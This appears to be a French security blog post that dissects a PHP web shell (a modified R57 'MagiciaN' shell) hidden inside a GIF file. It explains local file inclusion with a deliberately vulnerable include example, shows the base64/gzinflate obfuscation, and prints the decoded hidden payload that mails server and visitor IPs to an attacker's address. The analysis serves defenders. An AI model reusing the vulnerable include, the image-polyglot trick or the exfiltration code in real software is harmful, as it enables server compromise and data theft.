Le dernier PHP du pack

L’étrange image

La semaine dernière, suite au post le “méchant de la semaine” on a vu un étrange script php qui s’est révélé être une jolie backdoor php gothique. Il nous restait un script à analyser; «Thumb.php» . Vous pouvez retrouver ce script chez Malware.lu sous le sha1: 4a0fbff2ef963fe2f9a4dcd79b0ce0c0529c53c2 [MODE PROMO ON] Toutes les semaines, collectionnez en exclusivité des éditions reproduites à la main de backdoors php. Malware.lu, un produit des Editions Delprado [MODE PROMO OFF]. Voyons enfin ce nouveau jouet :

Si on est pas trop regardant le fichier Thumb.php malgré son extension semble être une image.

thanat0s@server:$ file thumb.php.malv 
thumb.php.malv: GIF image data, version 89a, 16129 x 16129

Si on est un peut plus regardant il y a cependant du code php à l’intérieur.

thanat0s@server:$ strings thumb.php.malv | head -n 10
GIF89a
??????????!??
????,????
?;?<?php
$language = 'eng';
$auth     = 0;
$name     = ''; // md5 Login
$pass     = ''; // md5 Password
/**************************************************************************************************************************************************************/
error_reporting(0);

Le Finger Introduit

Si jusque là cela ne vous a pas choqué, les plus jeunes d’entre vous se demandent tout de suite, pourquoi et surtout comment un tel code dans une image peut être exécuté ! Le secret réside en 3 lettres L.F.I. , alias “Local File Inclusion”. Petit chapitre explicatif pour les moins agguéris d’entre nous.

[Mode Mother Knowledge On]..[Mode Mother Knowledge On]..[Mode Mother Knowledge On]

En effet, il faut savoir que php est un language qui se met en branle dès qu’il croise une bannière de type “<?” ou “<?php” jusqu’a “?>”. Généralement on retrouve php dans un fichier texte en pleine page html. le classique hello world serait :

<html><head></head><body>
<?php print "hello world"; ?>
</body></html>

Mais le parseur php est pas très regardant, il retrouve ses petits même au milieu d’un champ de bit. Dès qu’il croise un <? il commence à bosser.

0101010110010<?php print "hello world";?>01010101110101

Du coup imaginez, vous avez un site où on peut y uploader une image, son avatar par exemple. Attention on fait de la sécu à papa, le codeur n’est pas un con, le site vérifie bien que le fichier uploadé est une vrai image ! Dans ce cas grace a ma fausse image étape une franchie ! J’ai posé le script php de mon choix sur le serveur. Mais ce n’est pas tout, maintenant il me faut une faille LFI. Un LFI c’est une connerie de codeur, mais malheureusement le codeur étant humain, ca marche encore pas mal. Le LFI c’est la possibilité d’inclure un fichier de son choix dans un script qui s’exécute sur le serveur. Il y a deux variantes, l’une n’empêchant pas forcément l’autre; Première variante, le LFI dont le fichier inclus ne s’exécute pas mais s’affiche, cela permet cependant de downloader de façons arbitraire le fichier de son choix sur le serveur. C’est déja embettant, on peut sortir le code source, des fichiers de configuration avec des mots de passe juteux etc… Mais il y a pire, le LFI ou le script s’exécute. Et là c’est la fête. Comment en arrive t’on là ? Simplement !

Imaginons un codeur flemmard a qui on a demandé de faire un site de 15 pages. Il va faire un squelette, et le contenu des pages sera chargé dynamiquement en fonction de ce que l’on donne dans le paramètre page. le code source serait :

<html>
<?php
 include('header.php');
 if (empty($_GET["page"])) {
     include('mainpage.php');
 } else {
     include($_GET["page"] + ".php");
 }
 include('footer.php');
?>
</html>

Et le gars a n’a plus qu’a provisionner les fichiers. Par exemple ;

Si on demande http://lesite/index.php on aura la “mainpage.php”
Si on demande http://lesite/index.php?page=info on aura la page “info.php”, etc etc… On met les pages que l’on veux. Fin des soucis pour le programmeur.

Malheureusement si un margoulin demande un truc du genre : http://lesite/index.php?page=./avatars/thumb on inclura notre page en php précédemment uploadée. Et cela c’est très moche.

On reviendra en détail sur le LFI dans un autre post si il y a des fans. c’est une faille “winwin”, assez commune et qui ne noyaute pas que du code php.

[Mode Mother Knowledge Off]..[Mode Mother Knowledge Off]..[Mode Mother Knowledge Off]

Désossons

Revenons à notre étrange image et extrayons ce code php. On va faire cela grâce à un de mes petit tools à chall que vous pouvez trouver sur mon humble github.

thanat0s@server$ xphp.py thumb.php.malv > xtracted.thumb.php
thanat0s@server$ file xtracted.thumb.php 
xtracted.thumb.php: PHP script text

Et regardons ensemble à quoi cela ressemble :

<?php
$language = 'eng';
$auth     = 0;
$name     = ''; // md5 Login
$pass     = ''; // md5 Password
/**************************************************************************************************************************************************************/
error_reporting(0);
$aceh="7b1pexs5rjD6efI8+Q9MjU9L6pZlrV4jt3fHjrd4j5O8OiWpJFVcWrpK8pJM7m+...
...
...
...CC8NJfqrOzfWWYCf4R7XLb6bVQtg+ft4QMNBerqZX/Hw==";
eval(gzinflate(base64_decode($aceh)));
?>

C’est un classique de l’obfuscation sous php, le code source est compressé puis encodé en base64 et on se sert de la fonction eval() pour l’exécuter  Ici le longs code source compressé et encodé en base64 est mis dans la variable $aceh (ligne 8). la ligne 12 va l’executer. Généralement il y a plusieurs tours de (base64 / compression). Ils leur arrive même d’être inventifs, et ajoutent un petit coup de rot13 ou de substitution en plus. Habituellement j’utilise un tool en ligne pour de-offusquer ce genre de carabistouilles; Soit http://www.tareeinternet.com/scripts/decrypt.php mais qui ne gère pas les multitours (Et au bout de 64 on en a marre de copier coller) soit j’utilise http://ddecode.com/phpdecoder mais à force c’est pas funky, premièrement c’est pas en ligne de commande et ensuite, puis mince quoi c’est pas chez moi et en plus ce gars publie tout ce que l’on décrypte !! J’ai donc décidé de coder le mien en python pour le fun. Il est au format beta beta, ne gère pour l’instant peu de choses (base64 et decompression), et probablement pourris de bugs mais il fonctionne pour celui là et c’est moi qui l’ai fait ! Il est aussi dispo dans mes tools à chal. Allons y extrayons ce code puis cherchons la backdoor de backdoor car maintenant vous savez, “Il y a toujours des backdoor dans la backdoor”.

Cherchons des eval():

thanat0s@server$ phpeval.py xtracted.thumb.php > xtracted2.thumb.php
thanat0s@server$ cat xtracted2.thumb.php | grep eval
// Decoded by phpeval.py
$set_index  = "{\${eval(base64_decode(\'".base64_encode($index);
//$set_index .= base64_encode("eval ('$index');");
        eval('$hexdtime = "' . $hexdtime . '";');
$datapipe_pm="c2Vzc2lvbl9zdGFydCgpOw0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ2JhamFrJ10pKQl7DQoJJHZpc2l0Y291bnQgPSAwOw0KCSR3ZWIgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQoJJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KCSRib2R5ID0gImFkYSB5YW5nIGluamVjdCBcbiR3ZWIkaW5qIjsNCgkkc2FmZW0wZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQoJCWlmICgkc2FmZW0wZGU9MSkgeyRzZWN1cml0eT0gIlNBRkVfTU9ERSA9IE9OIjt9DQoJCWVsc2UgeyRzZWN1cml0eT0gIlNBRkVfTU9ERSA9IE9GRiI7fTsNCgkkc2VycGVyPWdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10pOw0KCSRpbmpla3RvciA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pOw0KCW1haWwoInZpZGxsYTA5QGdtYWlsLmNvbSIsICIkYm9keSIsIkhhc2lsIEJhamFrYW4gaHR0cDovLyR3ZWIkaW5qXG4kc2VjdXJpdHlcbklQIFNlcnZlciA9ICRzZXJwZXJcbiBJUCBJbmplY3Rvcj0gJGluamVrdG9yIik7DQoJJF9TRVNTSU9OWydiYWphayddID0gMDsNCgl9DQplbHNlIHskX1NFU1NJT05bJ2JhamFrJ10rKzt9Ow0K"; echo eval(base64_decode($datapipe_pm));
if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){
if ($_POST['cmd']=="php_eval"){
 $eval = @str_replace("<?","",$_POST['php_eval']);
 $eval = @str_replace("?>","",$eval);
 @eval($eval);}
echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>";
echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');

Et c’est immuable, une fois de plus la backdoor de backdoor est là, Si on décode la chaine base64 $datapipe_pm on tombe sur :

session_start();
if (!isset($_SESSION['bajak']))	{
	$visitcount = 0;
	$web = $_SERVER["HTTP_HOST"];
	$inj = $_SERVER["REQUEST_URI"];
	$body = "ada yang inject \n$web$inj";
	$safem0de = @ini_get('safe_mode');
		if ($safem0de=1) {$security= "SAFE_MODE = ON";}
		else {$security= "SAFE_MODE = OFF";};
	$serper=gethostbyname($_SERVER['SERVER_ADDR']);
	$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
	mail("vidlla09@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
	$_SESSION['bajak'] = 0;
	}
else {$_SESSION['bajak']++;};

Et voila, dès que ce script est exectué, il bave dans la boite mail “vidlla09@gmail.com” (Décidément google est un repaire pour margoulins ;) ). Il indique l’adresse du serveur, l’adresse du client ayant exécuté le script ainsi que l’état du “Safe Mode” de php.

Commentons cette petite “bavance”. On se retrouver donc avec une backdoor de 3700 lignes pour 173 Ko.. Qui dit mieux ? Cette fois ci, sobriété pas de bannière festive, à première vue nous voici en face d’une backdoor faite par M. MagiciaN

<head>^M
<title>[ MagiciaN@SheLL ]</title>^M
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">^M
<STYLE>^M

Et manifestement, si on se fie à l’encodage et aux CRLFs, MagiciaN est un gars sous Windows. Cette backdoor là ne semble pas avoir besoin de ressources externes :

thanat0s@server:$ cat xtracted2.thumb.php  | egrep "(http(s)?:|www)"
curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
$link = "http://$user:$pass@".$_SERVER['SERVER_ADDR'].":2082";
$link = "http://$user:$pass@".$host.":2082";
$url = 'http://'.$HTTP_HOST.$REQUEST_URI;
 function cx(){ @tempnam("/www/", "../../../../../../var/tmp/cx"); cx(); } cx();
."</select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));

Elle est prête à être lancée dans notre sandbox, Voici la bête :

R57 Shell - Mod Magician

Au final, les fins connaisseurs l’auront reconnus, on se trouve devant une version modifiée de la backdoor R57 (http://www.r57shell.biz/shell/privr57.txt), ils sont fort ces turcs ;). D’un point de vue fonctionnel, elle est “feature full” comme vous dirait un commercial. Au menu :

  • Sévices sur FTP et Bases Sql
  • Mail / Spam / MailBomb
  • Upload/Download de tous poils
  • Remote shell / Php remote execution
  • Proxy, Socket forward.
  • Dos du serveur ou elle réside (Pourquoi ?).

A bientôt pour d’autre méchants logiciels.

 

This entry was posted in Hacking, WebSecurity and tagged , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *

AlphaOmega Captcha Classica  –  Enter Security Code